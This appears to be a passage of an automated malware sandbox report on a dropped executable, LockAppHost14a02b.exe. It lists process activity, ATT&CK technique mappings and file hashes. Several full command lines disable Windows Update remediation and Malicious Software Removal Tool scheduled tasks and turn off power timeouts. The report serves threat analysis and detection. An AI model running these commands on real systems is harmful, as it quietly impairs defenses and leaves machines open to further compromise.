    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:4792
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:3396
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3104
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3896
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2448
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:3824
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:4880

C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

LockAppHost14a02b.exe

Path C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
Size 5.0MB
SHA256 1a1c8fcea547dfad3108c36f696da9548fb08c2b977d06288d04e1cfbe950b19
MD5 0a77c05a1540d82470fa49ed3932b282
SHA1 c191cc112ee0c4e332ab2a97378ed36a3975c076
SHA512 af827e94d542eddee004bc2b774605a5a313da8af6c25b9e752ca6b51c751538e2f8cc2edaf516c0128d96647e82c538e368ee23a61cb1ac956bffa2382ddd96
SSDEEP 98304:9YlLtunCI0FyF8+cirXTH3CTt2mjr5wzvFHndc+vsM9pIkfPTb8DkTv+j+:8Lt28+c8THSB2nN7seb/8D
TLSH
T1B8363315F8C2D4B1C41AD7B88613B0AEB37F77A9A9B47C1B33CC69104E65E2A647E341
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_inlsn3sp.2a3.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_inlsn3sp.2a3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca
MD5 7b1fe6890101f73a0c9796d8d585b168
SHA1 56eb99ee341b880cf7a80ebc705371aea87b3743
SHA512 fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkqntznEfqeYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkqntznEfqtZq6FIzoI
TLSH
T18791EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 11434490cafa2d29dd359a44a3d60ea06a1e3e62c37de765c16ec364db4ea208
MD5 34384cb018da94ad49bf48a5650da60b
SHA1 eda0d7077cab34358b8431294a136432e6184e5b
SHA512 42fade0d703cb7eaca336c2bed4b58a187851e0474490c4da6fea041b38b566a1ee282e578818db2817a9b0fcd16f903e86668a6eb93f2929a68b239ffd6666b
TLSH
T1AA217B27F3DC8A21CC96123A509D9C1176B683D7819EDF9F6BC4D614A0BF5D8CB31190
MD5 SHA1 SHA512 TLSH

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memory/2168-0-0x0000000140239000-0x00000001403F0000-memory.dmp

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memory/2168-6-0x00000000001D0000-0x00000000001D1000-memory.dmp

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memory/2168-8-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2168-1-0x00007FFB07450000-0x00007FFB07452000-memory.dmp

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memory/2168-10-0x0000000140239000-0x00000001403F0000-memory.dmp

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memory/2168-4-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2168-2-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2168-9-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2516-23-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2516-26-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2516-16-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/2516-14-0x0000000140000000-0x00000001408FC000-memory.dmp

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memory/3760-73-0x0000028469B90000-0x0000028469C45000-memory.dmp

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memory/3760-75-0x00000284695E0000-0x00000284697FC000-memory.dmp

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memory/4236-28-0x000001E9DEEE0000-0x000001E9DEEF0000-memory.dmp

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memory/4236-37-0x00007FF496F10000-0x00007FF496F20000-memory.dmp

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memory/4236-45-0x000001E9E1310000-0x000001E9E132C000-memory.dmp

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memory/4236-46-0x000001E9E1330000-0x000001E9E13E5000-memory.dmp

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memory/4236-47-0x000001E9E13F0000-0x000001E9E13FA000-memory.dmp

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memory/4236-48-0x000001E9E1560000-0x000001E9E157C000-memory.dmp

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memory/4236-49-0x000001E9E1540000-0x000001E9E154A000-memory.dmp

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memory/4236-50-0x000001E9E15A0000-0x000001E9E15BA000-memory.dmp

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memory/4236-51-0x000001E9E1550000-0x000001E9E1558000-memory.dmp

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memory/4236-52-0x000001E9E1580000-0x000001E9E1586000-memory.dmp

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memory/4236-53-0x000001E9E1590000-0x000001E9E159A000-memory.dmp

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memory/4236-54-0x000001E9DEEE0000-0x000001E9DEEF0000-memory.dmp

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memory/4236-36-0x000001E9DEE70000-0x000001E9DEE92000-memory.dmp

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memory/4236-27-0x000001E9DEEE0000-0x000001E9DEEF0000-memory.dmp

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memory/4652-25-0x00000280335F0000-0x00000280335F1000-memory.dmp

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memory/4652-19-0x0000000140000000-0x0000000140231000-memory.dmp

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